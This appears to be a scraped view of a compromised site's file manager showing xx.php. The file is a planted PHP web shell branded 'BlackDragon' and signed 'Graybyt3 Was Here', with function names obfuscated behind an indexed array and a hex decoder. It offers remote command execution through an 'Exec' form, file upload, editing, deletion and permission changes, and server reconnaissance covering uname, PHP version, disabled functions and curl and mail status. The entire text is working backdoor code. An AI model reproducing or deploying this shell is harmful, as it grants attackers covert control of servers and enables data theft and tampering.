芝麻web文件管理V1.00
编辑当前文件:/home2/sdektunc/tmp/webalizer/chocholayucatan.sdektun.com/xx.php
= 1024) { $size /= 1024; $pos++; } return round($size, 2)." ".$a[$pos]; } function hexa($str) { $r = ""; $len = (strlen($str) - 1); for ($i = 0; $i < $len; $i += 2) { $r .= chr(hexdec($str[$i].$str[$i + 1])); } return $r; } function flash($message, $status, $class, $redirect = false) { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } $_SESSION["message"] = $message; $_SESSION["class"] = $class; $_SESSION["status"] = $status; if ($redirect) { header('Location: ' . $redirect); exit(); } return true; } function clear() { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } return true; } if (isset($_GET['dir'])) { $path = $_GET['dir']; $func[13]($_GET['dir']); } else { $path = $func[12](); } $path = $func[14]('\\', '/', $path); $exdir = $func[15]('/', $path); function getOwner($item) { if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner($item)); $downer = $downer['name']; } else { $downer = fileowner($item); } if (function_exists("posix_getgrgid")) { $dgrp = @posix_getgrgid(filegroup($item)); $dgrp = $dgrp['name']; } else { $dgrp = filegroup($item); } return $downer . '/' . $dgrp; } if (isset($_POST['newFolderName'])) { if ($func[29]($path . '/' . $_POST['newFolderName'])) { $func[16]("Create Folder Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Create Folder Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) { if ($func[4]($_POST['newFileName'], $_POST['newFileContent'])) { $func[16]("Create File Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Create File Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newName']) && isset($_GET['item'])) { if ($_POST['newName'] == '') { $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if ($func[30]($path. '/'. $_GET['item'], $_POST['newName'])) { $func[16]("Rename Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Rename Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newContent']) && isset($_GET['item'])) { if ($func[4]($path. '/'. $_GET['item'], $_POST['newContent'])) { $func[16]("Edit Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Edit Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newPerm']) && isset($_GET['item'])) { if ($_POST['newPerm'] == '') { $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) { $func[16]("Change Permission Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Change Permission", "Failed", "error", "?dir=$path"); } } if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) { if (is_dir($_GET['item'])) { if ($func[27]($_GET['item'])) { $func[16]("Delete Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Delete Failed", "Failed", "error", "?dir=$path"); } } else { if ($func[28]($_GET['item'])) { $func[16]("Delete Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Delete Failed", "Failed", "error", "?dir=$path"); } } } if (isset($_FILES['uploadfile'])) { $total = count($_FILES['uploadfile']['name']); for ($i = 0; $i < $total; $i++) { $mainupload = $func[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]); } if ($total < 2) { if ($mainupload) { $func[16]("Upload File Successfully! ", "Success", "success", "?dir=$path"); } else { $func[16]("Upload Failed", "Failed", "error", "?dir=$path"); } } else{ if ($mainupload) { $func[16]("Upload $i Files Successfully! ", "Success", "success", "?dir=$path"); } else { $func[16]("Upload Failed", "Failed", "error", "?dir=$path"); } } } $dirs = $func[18]($path); ?>
GOOGLE
Graybyt3 Was Here
= $func[0]() ?>
= $_SERVER['SERVER_SOFTWARE'] ?>
= !@$_SERVER['SERVER_ADDR'] ? $func[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?>
$pat) : if ($pat == '' && $id == 0): ?>
/
= $pat ?>
" class="text-decoration-none text-light">= $pat ?>
/
[ HOME ]
Exec
Submit
= $func[20]($_POST['command']) ?>
New Name
Submit
Back
= $_GET['item'] ?>
= $func[9]($func[5]($path. '/'. $_GET['item'])) ?></textarea>
Submit
Copy
Back
File Name : = $_GET['item'] ?>
= $func[9]($func[5]($path. '/'. $_GET['item'])) ?></textarea>
Back
= $_GET['item'] ?>
Submit
Back
Folder Name
Submit
File Name
File Content
</textarea>
Submit
= $func[21] ?>
Uname > = $func[0]() ?> Software > = $_SERVER['SERVER_SOFTWARE'] ?> PHP > = $func[3]() ?> Protocol > = $_SERVER['SERVER_PROTOCOL'] ?> IP / Port > = !@$_SERVER['SERVER_ADDR'] ? $func[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?> / = $_SERVER['SERVER_PORT'] ?> Mail > = $func[25]('mail') ? 'ON' : 'OFF' ?> Curl > = $func[25]('curl_version') ? 'ON' : 'OFF' ?> Owner > = $func[36](); ?> MySQL > = $func[25]('mysql_connect') ? 'ON' : 'OFF' ?> Disable Function > = $show_ds ?></textarea>
*ReClick For Close
File : BlackDragon = $_SERVER['SCRIPT_NAME'] ?>
Name
Type
Size
Owner/Group
Permission
Last Modified
Actions
= $dir ?>
= $dir ?>
= $dir ?>
= $func[8]($dir) ?>
-
= $func[35]($dir) ?>
= $func[11]($func[10]('%o', $func[6]($dir)), -4); ?>
= $func[23]("Y-m-d h:i:s", $func[7]($dir)); ?>
= $dir ?>
= ($func[25]('mime_content_type') ? $func[24]($dir) : $func[8]($dir)) ?>
= $func[26]($dir) ?>
= $func[35]($dir) ?>
= $func[11]($func[10]('%o', $func[6]($dir)), -4); ?>
= $func[23]("Y-m-d h:i:s", $func[7]($dir)); ?>
© BlackDragon